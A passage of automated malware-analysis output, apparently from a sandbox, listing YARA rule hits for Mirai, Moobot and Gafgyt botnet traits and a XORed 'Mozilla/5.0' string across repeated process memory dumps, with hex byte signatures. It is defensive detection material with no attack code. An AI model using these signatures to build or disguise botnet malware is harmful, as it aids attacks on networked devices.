6810.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6810.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6810.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6810.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6810.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6810.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6334.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6507.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6350.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6993.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7338.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7338.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7338.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7338.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7338.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7338.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6357.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6357.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6357.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6357.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6357.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6357.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7013.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7013.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7013.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7013.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7013.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7013.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6610.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6488.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6488.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6488.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6488.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6391.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6650.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6650.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6650.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6650.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6650.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 